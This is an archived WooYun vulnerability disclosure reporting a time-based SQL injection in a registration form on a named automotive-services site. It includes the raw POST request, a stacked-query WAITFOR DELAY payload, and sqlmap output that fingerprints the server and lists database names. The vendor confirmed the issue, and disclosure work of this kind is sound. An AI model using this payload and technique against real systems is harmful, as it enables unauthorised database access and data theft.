当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122016

漏洞标题:车音网某站SQL注入(24库)

相关厂商:深圳市车音网科技有限公司

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-23 15:21

修复时间:2015-08-07 16:56

公开时间:2015-08-07 16:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-23: 厂商已经确认,细节仅向厂商公开
2015-07-03: 细节向核心白帽子及相关领域专家公开
2015-07-13: 细节向普通白帽子公开
2015-07-23: 细节向实习白帽子公开
2015-08-07: 细节向公众公开

简要描述:

看见有礼物 我就无耻的来检测了····

详细说明:

SQL注入来自分站:http://mazda.vcyber.com/ 以下为本次测试内容
POST数据包:

POST /User/QuickRegisterAjax?time=1434889120359 HTTP/1.1
Host: mazda.vcyber.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://mazda.vcyber.com/User/QuickRegister
Content-Length: 121
Cookie: Hm_lvt_0a20432bd2ea45c98b42bf5a4160022d=1434418517,1434889090; ASP.NET_SessionId=ce5ywlbudc3tkvvxfznku2i0; Hm_lpvt_0a20432bd2ea45c98b42bf5a4160022d=1434889121; Hm_lvt_5777ef8be1c2ed5cbc632a9ff5247ffc=1434889097; Hm_lpvt_5777ef8be1c2ed5cbc632a9ff5247ffc=1434889097
X-Forwarded-For: 8.8.8.8'
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
usercode=1111111&userpwd=111111&tel=13800138000&logincode=1111&loginpwd=123456&gender=%E7%94%B7&realName=123333&telnum=86


tel 参数 导致了本次基于时间上的盲注(具体参数见下图以及漏洞证明)

0.png


1.png


由于时间注入太慢了 我就不深入了

漏洞证明:

POST parameter 'tel' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] n
sqlmap identified the following injection points with a total of 94 HTTP(s) requ
ests:
---
Parameter: tel (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: usercode=1111111&userpwd=111111&tel=13800138000';WAITFOR DELAY '0:0
:5'--&logincode=1111&loginpwd=123456&gender=%E7%94%B7&realName=123333&telnum=86
---
[20:31:18] [INFO] testing Microsoft SQL Server
[20:31:18] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[20:31:33] [INFO] confirming Microsoft SQL Server
[20:31:44] [INFO] adjusting time delay to 4 seconds due to good response times
[20:31:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[20:31:45] [INFO] fetching database names
[20:31:45] [INFO] fetching number of databases
[20:31:45] [INFO] retrieved: 24
[20:31:59] [INFO] retrieved: Apecn.MusicDB
[20:35:32] [INFO] retrieved: AroundSystemDB
[20:39:40] [INFO] retrieved: Car

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-06-23 16:54

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论